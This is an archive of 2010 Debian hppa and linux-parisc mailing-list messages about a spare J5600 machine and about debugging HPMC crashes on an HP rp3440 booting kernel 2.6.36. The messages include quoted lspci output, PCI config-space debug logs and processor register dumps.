Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 6895413A436D; Mon,  1 Nov 2010 15:13:29 +0000 (UTC)
Old-Return-Path: <dannf@dannf.org>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-5.0 required=4.0 tests=LDO_WHITELIST
	autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id C7EFC13A4A83
	for <lists-debian-hppa@liszt.debian.org>; Mon,  1 Nov 2010 15:13:22 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, LDO_WHITELIST=-5] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id hVPFVBJTnupy for <lists-debian-hppa@liszt.debian.org>;
	Mon,  1 Nov 2010 15:13:15 +0000 (UTC)
X-policyd-weight: DYN_NJABL=ERR(0) NOT_IN_SBL_XBL_SPAMHAUS=-1.5 NOT_IN_BL_NJABL=-1.5 DSBL_ORG=SKIP(0) CL_IP_EQ_FROM_MX=-3.1; rate: -6.1
Original-Received: from complete.lackof.org (complete.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org", Issuer "CAcert Class 3 Root" (not verified))
	by liszt.debian.org (Postfix) with ESMTPS id 8772B13A431E;
	Mon,  1 Nov 2010 15:13:08 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 6005833E0182;
	Mon,  1 Nov 2010 09:13:04 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id TWvavFh2hYck; Mon,  1 Nov 2010 09:13:04 -0600 (MDT)
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 158F233E017A;
	Mon,  1 Nov 2010 09:13:04 -0600 (MDT)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id 0AB1AA1410; Mon,  1 Nov 2010 09:12:58 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-06-14)
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <bSgJh_7b2IL.A.WlC.ZktzMB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/7491
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon,  1 Nov 2010 15:13:29 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:6495 gmane.linux.ports.parisc:3205 gmane.linux.debian.devel.boot:123117
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/6495>

hey,
 If you live in europe and are interested in a J5600 for parisc-linux
development or testing, please contact me off-list with a blurb about
what you would plan to do with it.



From - Thu Nov 08 21:06:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Mon, 1 Nov 2010 23:00:01 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <20101102050001.GA14166@lackof.org>
References: <20101031174018.GA26539@hiauly1.hia.nrc.ca> <20101031180214.GA7501@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288674022 31780 80.91.229.12 (2 Nov 2010 05:00:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 2 Nov 2010 05:00:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 02 06:00:18 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PD8yd-0005So-AD
	for glpp-linux-parisc@lo.gmane.org; Tue, 02 Nov 2010 06:00:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934573Ab0KBFAE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Nov 2010 01:00:04 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:34964 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934568Ab0KBFAC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Nov 2010 01:00:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id E701C33E017A;
	Mon,  1 Nov 2010 23:00:01 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id y6T0JpU36YDT; Mon,  1 Nov 2010 23:00:01 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 81D9333E0182; Mon,  1 Nov 2010 23:00:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20101031180214.GA7501@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3206
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3206>

On Sun, Oct 31, 2010 at 02:02:15PM -0400, John David Anglin wrote:
> On Sun, 31 Oct 2010, John David Anglin wrote:
> 
> > Attached hpmc dumps.  It appears that struct pci_hba_data *l is
> > causes the hpmc.  Maybe defining some of the DEBUG_LBA* macros
> > would provide more info.
> 
> The PCI component errors seem USB related:

Hi Dave!
I wonder if this is same problem that we saw on the Astro platforms:
Firmware left USB active while we reprogram the IOMMU.

See "sba_hw_init() in drivers/parisc/sba_iommu.c.
Off hand, I don't know what the details to fix this would be.
The outline given in the comments sound right.

cheers,
grant


> 
> dave@mx3210:~/linux/linux-2.6.36.y/drivers/parisc$ lspci -nn
> 00:01.0 USB Controller [0c03]: NEC Corporation USB [1033:0035] (rev 41)
> 00:01.1 USB Controller [0c03]: NEC Corporation USB [1033:0035] (rev 41)
> 00:01.2 USB Controller [0c03]: NEC Corporation USB 2.0 [1033:00e0] (rev 02)
> 00:02.0 IDE interface [0101]: Silicon Image, Inc. SiI 0649 Ultra ATA/100 PCI to ATA Host Controller [1095:0649] (rev 02)
> 20:01.0 SCSI storage controller [0100]: LSI Logic / Symbios Logic 53c1010 66MHz  Ultra3 SCSI Adapter [1000:0021] (rev 01)
> 20:01.1 SCSI storage controller [0100]: LSI Logic / Symbios Logic 53c1010 66MHz  Ultra3 SCSI Adapter [1000:0021] (rev 01)
> 20:02.0 Ethernet controller [0200]: Broadcom Corporation NetXtreme BCM5701 Gigabit Ethernet [14e4:1645] (rev 15)
> e0:01.0 Communication controller [0780]: Hewlett-Packard Company Auxiliary Diva Serial Port [103c:1290] (rev 01)
> e0:01.1 Serial controller [0700]: Hewlett-Packard Company Diva Serial [GSP] Multiport UART [103c:1048] (rev 03)
> e0:02.0 VGA compatible controller [0300]: ATI Technologies Inc Radeon RV100 QY [Radeon 7000/VE] [1002:5159]
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Mon, 1 Nov 2010 23:32:24 -0600
Lines: 73
Approved: news@gmane.org
Message-ID: <20101102053224.GB14166@lackof.org>
References: <20101031174018.GA26539@hiauly1.hia.nrc.ca> <20101031180214.GA7501@hiauly1.hia.nrc.ca> <20101031194623.GA8288@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288675965 10333 80.91.229.12 (2 Nov 2010 05:32:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 2 Nov 2010 05:32:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 02 06:32:33 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PD9Tz-0002zA-Qa
	for glpp-linux-parisc@lo.gmane.org; Tue, 02 Nov 2010 06:32:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S936815Ab0KBFcb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Nov 2010 01:32:31 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:43043 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757874Ab0KBFc1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Nov 2010 01:32:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 3910433E0182;
	Mon,  1 Nov 2010 23:32:26 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JVFocKuhUjDy; Mon,  1 Nov 2010 23:32:24 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 670C033E0186; Mon,  1 Nov 2010 23:32:24 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20101031194623.GA8288@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3207
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3207>

On Sun, Oct 31, 2010 at 03:46:26PM -0400, John David Anglin wrote:
> On Sun, 31 Oct 2010, John David Anglin wrote:
> 
> > On Sun, 31 Oct 2010, John David Anglin wrote:
> > 
> > > Attached hpmc dumps.  It appears that struct pci_hba_data *l is
> > > causes the hpmc.  Maybe defining some of the DEBUG_LBA* macros
> > > would provide more info.
> 
> Attached console output with debug macros enabled.  Also, attached
> new hpmc dump as this one seems different.

This is definitely a different problem.
This one is easy to explain.


> [    0.000000] Linux version 2.6.36+ (dave@mx3210) (gcc version 4.3.5 (GCC) ) #4 SMP Sun Oct 31 14:51:20 EDT 2010
...
> [    0.000000] Determining PDC firmware type: 64 bit PAT.
...
> [    0.256000] Found devices:
...
> [    0.324000] 13. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
...
> [    4.800000] Mercury version TR3.2 (0x32) found at 0xfffffffffed2e000
...
> [    4.852000] mercury_cfg_read(0+ 0) -> 0xffffffff
> [    4.852000] mercury_cfg_read(800+ 0) -> 0x1290103c

http://pci-ids.ucw.cz/read/PC/103c
Auxiliary Diva Serial Port

...
> [    4.892000] mercury_cfg_read(800+ 4) -> 0x146
> [    4.892000] mercury_cfg_write(800+ 4) <- 0x144 (c)
> [    4.896000] mercury_cfg_read(800+10) -> 0x0
> [    4.896000] mercury_cfg_write(800+10) <- 0xffffffff (c)
> [    4.904000] mercury_cfg_read(800+10) -> 0x0
> [    4.904000] mercury_cfg_write(800+10) <- 0x0 (c)
> [    4.904000] mercury_cfg_write(800+ 4) <- 0x146 (c)

Size BAR 0 (offset 0x10)

...
> [    5.124000] mercury_cfg_read(900+ 0) -> 0x1048103c

Diva Serial [GSP] Multiport UART
> [    5.124000] mercury_cfg_read(900+ e) -> 0x80
> [    5.124000] mercury_cfg_read(900+ 6) -> 0x290
> [    5.128000] mercury_cfg_read(900+34) -> 0x48
> [    5.128000] mercury_cfg_read(900+48) -> 0x1
> [    5.136000] mercury_cfg_read(900+49) -> 0x0
> [    5.136000] mercury_cfg_read(900+ 8) -> 0x7000203
> [    5.144000] mercury_cfg_read(900+ 6) -> 0x290
> [    5.144000] mercury_cfg_read(900+34) -> 0x48
> [    5.152000] mercury_cfg_read(900+48) -> 0x1
> [    5.152000] mercury_cfg_read(900+49) -> 0x0
> [    5.152000] mercury_cfg_read(900+3d) -> 0x1
> [    5.160000] mercury_cfg_read(900+3c) -> 0x0
> [    5.160000] mercury_cfg_read(900+ 4) -> 0x142
> [    5.164000] mercury_cfg_write(900+ 4) <- 0x140 (c)

You just shot yourself in the foot. :)
IIRC we just disabled MMIO in order to size the BAR.
So any accesses to that register will cause an HPMC.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Tue, 2 Nov 2010 00:26:23 -0600
Lines: 744
Approved: news@gmane.org
Message-ID: <20101102062623.GC14166@lackof.org>
References: <20101031174018.GA26539@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288679205 26787 80.91.229.12 (2 Nov 2010 06:26:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 2 Nov 2010 06:26:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 02 07:26:40 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PDAKL-0001kz-Kq
	for glpp-linux-parisc@lo.gmane.org; Tue, 02 Nov 2010 07:26:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S938609Ab0KBG0g (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Nov 2010 02:26:36 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:58163 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S938606Ab0KBG01 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Nov 2010 02:26:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id F352F33E017A;
	Tue,  2 Nov 2010 00:26:25 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JpOzWiqcfj8n; Tue,  2 Nov 2010 00:26:24 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id E5D8733E0182; Tue,  2 Nov 2010 00:26:23 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20101031174018.GA26539@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3208
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3208>

On Sun, Oct 31, 2010 at 01:40:20PM -0400, John David Anglin wrote:
> After the main hard drive on my rp3440, I have tried to restore
> functionality on this machine.  Lenny installed without problems.
> Then, I tried upgrading to testing.  All packages installed more
> or less ok, but vmlinux-2.6.32-5-parisc64-smp didn't boot.  Tried
> building 2.6.36 myself with a config derived from that for
> 2.6.32-5-parisc64-smp, but it dies in exactly the same way.

I've tried to look at the HPMC dumps but really need docs
to decode them. :(

Dug around a bit to see if I could match any HPMC output with
the code in lba driver.

> Attached hpmc dumps.  It appears that struct pci_hba_data *l is
> causes the hpmc.  Maybe defining some of the DEBUG_LBA* macros
> would provide more info.

Probably...But it's risky.

> The hard drive that I'm trying to boot from is in a different slot
> from the one that I was using before.  However, vmlinux-2.6.26-2-parisc64-smp
> boots ok from the drive.
> 
> Thoughts?

Maybe try the your kernels on ioz?
Try the kernels from ion or ioz on your machine?

on:~# uname -a
Linux ion 2.6.37-rc1+ #20 SMP Mon Nov 1 13:50:38 PDT 2010 parisc64 GNU/Linux

ioz:~# uname -a
Linux ioz 2.6.34-rc6 #25 Tue May 11 02:29:56 GMT 2010 parisc64 GNU/Linux

Source on ioz:/usr/src/linux-2.6 should match the kernel.
jejb is generally using ion.

Maybe try either config file to build a kernel for your machine?

More notes below.


> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

> PROCESSOR PIM INFORMATION
> 
> Original Product Number:  A7136A
> Current Product Number:   A7136A
> 
> 
> -----------------  Processor 0 HPMC Information - PDC Version: 46.34  ------ 
> 
> Timestamp =   Sun Oct  31 05:46:54 GMT 2010    (20:10:10:31:05:46:54)
> 
> HPMC Chassis Codes
> 
>        Chassis Code        Extension
>        ------------        ---------
>        0xe800035c00e00000 0x0000000040329434
>        0x57000f7300e00000 0x8040004000000000
>        0xf600105e00e00000 0xfffffff0f0c00000
>        0x140003b200e00000 0x000000000000000b
>        0x5600100b00e00000 0x0000000000000194
>        0x5600106400e00000 0xfffffff0f0435110
> 
> 
> General Registers 0 - 31
> 00-03  0000000000000000  00000000406dea70  00000000401296d0  000000007f8a0000
> 04-07  000000001c5d3000  000000000800000f  0000000000000000  000000007bf79c18
> 08-11  0000000000000000  000000007f838b90  000000001c5d9200  000000001c7aa078
> 12-15  0000000000000000  0000000000020598  000000000001e118  000000000001d18a
> 16-19  00000000fb1562d0  000000000001a000  000000000001ac94  0000000000000002
> 20-23  0000000040653038  0000000000000000  ffffffffc0000000  0000000000100000
> 24-27  000000000000000a  0000000000348002  000000007f007c00  00000000406c4270
> 28-31  000000000002c000  000000007f838f20  000000007f838f50  00000000003c8002
> 
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11  000000000000006a  0000000000000000  00000000000000c0  0000000000000001
> 12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
> 16-19  00000016e043e208  0000000000000000  0000000040329434  000000000f80109f
> 20-23  00000000a627fffb  000000004802c000  000000ff0804ff0e  4000000000000000
> 24-27  00000000005d7000  000000003f802000  eff1ffddadbe93c7  0000000040000b80
> 28-31  0000000040000b80  eff1ffddadbe93c7  000000007f838000  eff1ffddadbe93c7
> 
> Space Registers 0 - 7
> 00-03  0000000000013800  0000000000000000  0000000000000000  000000000001a800
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 
> 
> IIA Space (back entry)       = 0x0000000000000000
> IIA Offset (back entry)      = 0x0000000040329438

Is this a kernel address...can you tell me what it matches?
Can you please also look up GR1?

> Check Type                   = 0x20000000
> Cpu State                    = 0x9e000000
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x00000000
> Assists Check                = 0x0001a800
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x0000000000000000
> System Requestor Address     = 0x0000000000000000
> 
> Floating Point Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  000000003f058340  000000003f058348  0000000000000000
> 08-11  000000000800000f  00000000406e5a70  ffffffffc0000000  00000000000001ff
> 12-15  00000000000000ff  000000007f058300  00000000406e6270  00000000406e6270
> 16-19  00000000406e8000  0000000040736000  00000000406e6270  00000000406e5270
> 20-23  000f000000000000  00000000406e5a70  0000000000000000  0000000000000000
> 24-27  0000000000000000  00000000406e6270  000000007f0583c8  00000000404aefdc
> 28-31  0000000000000003  0000000000034bc0  0000000000000003  00000000fa000000
> 
> PIM Revision                 = 0x0000000000000001                
> CPU ID                       = 0x0000000000000014
> CPU Revision                 = 0x0000000000000031
> Cpu Serial Number            = 0x46100b89e43f0503
> Check Summary                = 0x8040004000000000
> SAL Timestamp                = 0x000000004ccd02ce
> System Firmware Rev.         = 0x00000ba20000121a
> PDC Relocation Address       = 0xfffffff0f0c00000
> Available Memory             = 0x000000027fe00000
> CPU Diagnose Register 2      = 0x3112022000002008
> MIB_STAT                     = 0x0040000000200000
> MIB_LOG1                     = 0x0000000000555500
> MIB_LOG2                     = 0x0000800000000000
> MIB_ECC_DATA                 = 0x808800007fffbfd8
> ICache Info                  = 0x0000000000000000
> DCache Info                  = 0x0000000000000000
> Sharedcache Info1            = 0x0000000000000000
> Sharedcache Info2            = 0x0000000000000000
> MIB_RSLOG1                   = 0x0000080000000004
> MIB_RSLOG2                   = 0x0010010000000000
> MIB_RQLOG                    = 0x00002580001e1510
> MIB_REQLOGa                  = 0x8000040000000300
> MIB_REQLOGb                  = 0x01000aa400000000
> Reserved                     = 0x0000000000000000
> Cache Repair Detail          = 0x0000000000000000
> 
> PIM Detail Text:
> 
> -----------------  Processor 1 HPMC Information - PDC Version: 46.34  ------ 
> 
> Timestamp =   Sun Oct  31 01:32:30 GMT 2010    (20:10:10:31:01:32:30)
> 
> HPMC Chassis Codes
> 
>        Chassis Code        Extension
>        ------------        ---------
>        0xe800035c00e00000 0x00000000142e83a4
>        0x57000f7300e00000 0x8040004000000000
>        0x5600100b00e00000 0x0000000000000194
>        0x5600106400e00000 0xfffffff0f0436fc0
> 
> 
> General Registers 0 - 31
> 00-03  0000000000000000  0000000010202800  00000000102186a0  0000000000000000
> 04-07  0000000010202000  000000007f550150  0000000000000004  0000000000000000
> 08-11  000000007f0b07a8  000000007f550000  0000000000000010  0000000000000000
> 12-15  0000000000000004  0000000000000001  000000007f967130  ffffffff80000080
> 16-19  000000007f0b034a  00000000000003e8  0000000010202000  ffffffffffffffe0
> 20-23  00000000000000a3  0000000000000004  000000007f0b07a8  0000000000000001
> 24-27  0000000000000000  000000000000a300  000000007f550000  00000000142e5000
> 28-31  0000000000000010  000000007f0b08c0  000000007f0b0a10  000000001027c040
> 
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11  000000000000005c  0000000000000000  00000000000000c0  000000000000002a
> 12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
> 16-19  000000398d1a0a60  0000000000000000  00000000142e83a4  000000004bfc0028
> 20-23  00000000a627fe00  0000000000a7c054  000000ff0804ff0f  0000000000000000
> 24-27  00000000005dd000  000000003fa16000  ffffffffffffffff  0000000040000b80
> 28-31  ffffffffffffffff  ffffffffffffffff  000000007f0b0000  ffffffffffffffff
> 
> Space Registers 0 - 7
> 00-03  0000000000017000  0000000000000000  0000000000000000  0000000000017000
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 
> 
> IIA Space (back entry)       = 0x0000000000000000
> IIA Offset (back entry)      = 0x00000000142e83a8
> Check Type                   = 0x20000000
> Cpu State                    = 0x9e000000
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x00000000
> Assists Check                = 0x00017000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x0000000000000000
> System Requestor Address     = 0x0000000000000000
> 
> Floating Point Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  00000000401f7b10  000000003f050340  0000000000000000  000000007c3f2540
> 08-11  000000004021e018  000000007ec05300  0000000000000000  0000000000000002
> 12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 24-27  0000000000000000  0000000000000000  000000007f037000  000000004053efe0
> 28-31  00000000406c7300  0000000042866a80  0000000000000000  00000000406e8300
> 
> PIM Revision                 = 0x0000000000000001                
> CPU ID                       = 0x0000000000000014
> CPU Revision                 = 0x0000000000000031
> Cpu Serial Number            = 0x46100b89e43f0503
> Check Summary                = 0x8040004000000000
> SAL Timestamp                = 0x000000004cccc72e
> System Firmware Rev.         = 0x00000ba20000121a
> PDC Relocation Address       = 0xfffffff0f0c00000
> Available Memory             = 0x000000027fe00000
> CPU Diagnose Register 2      = 0x3152020008082008
> MIB_STAT                     = 0x0040000000100000
> MIB_LOG1                     = 0x0000000000555500
> MIB_LOG2                     = 0x0000800000000000
> MIB_ECC_DATA                 = 0x808800007fffbfd8
> ICache Info                  = 0x0000000000000000
> DCache Info                  = 0x0000000000000000
> Sharedcache Info1            = 0x0000000000000000
> Sharedcache Info2            = 0x0000000000000080
> MIB_RSLOG1                   = 0x0000088000000004
> MIB_RSLOG2                   = 0x0011010000000000
> MIB_RQLOG                    = 0x046c80003ffeb930
> MIB_REQLOGa                  = 0x8000044000000200
> MIB_REQLOGb                  = 0x01000aa400000000
> Reserved                     = 0x0000000000000000
> Cache Repair Detail          = 0x0000000000000000
> 
> PIM Detail Text:
> 
> -----------------  Processor 2 HPMC Information - PDC Version: 46.34  ------ 
> 
> Timestamp =   Sun Oct  31 01:32:29 GMT 2010    (20:10:10:31:01:32:29)
> 
> HPMC Chassis Codes
> 
>        Chassis Code        Extension
>        ------------        ---------
>        0xe800035c00e00000 0x000000004031e41c
>        0x57000f7300e00000 0x8040004000000000
>        0xf600105e00e00000 0xfffffff0f0c00000
>        0x140003b200e00000 0x000000000000000b
>        0x5600100b00e00000 0x0000000000000194
>        0x5600106400e00000 0xfffffff0f0438e70
> 
> 
> General Registers 0 - 31
> 00-03  0000000000000000  00000000406e1300  0000000040128748  000000007f5fc000
> 04-07  000000001c54f000  000000000800000f  0000000000000001  0000000000000000
> 08-11  0000000000000000  000000007fa30ba0  000000001c554fe0  000000001837e0b8
> 12-15  0000000000000000  0000000000020630  000000000001e128  000000000001d18a
> 16-19  00000000fb4e52d0  000000000001a000  000000000001ac94  0000000000000002
> 20-23  00000000406586a8  0000000000000000  ffffffffc0000000  0000000000100000
> 24-27  000000000000000a  0000000000348002  000000007f085a00  00000000406c7300
> 28-31  000000000002c000  000000007fa30eb0  000000007fa30ee0  00000000003c8002
> 
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11  000000000000006a  0000000000000000  00000000000000c0  0000000000000001
> 12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
> 16-19  0000003974c44900  0000000000000000  000000004031e41c  000000000f80109f
> 20-23  00000000a627fffb  000000004802c000  000000ff0804ff0e  8000000000000000
> 24-27  00000000005dd000  000000003fa4a000  fffffeffffffffff  0000000040000b80
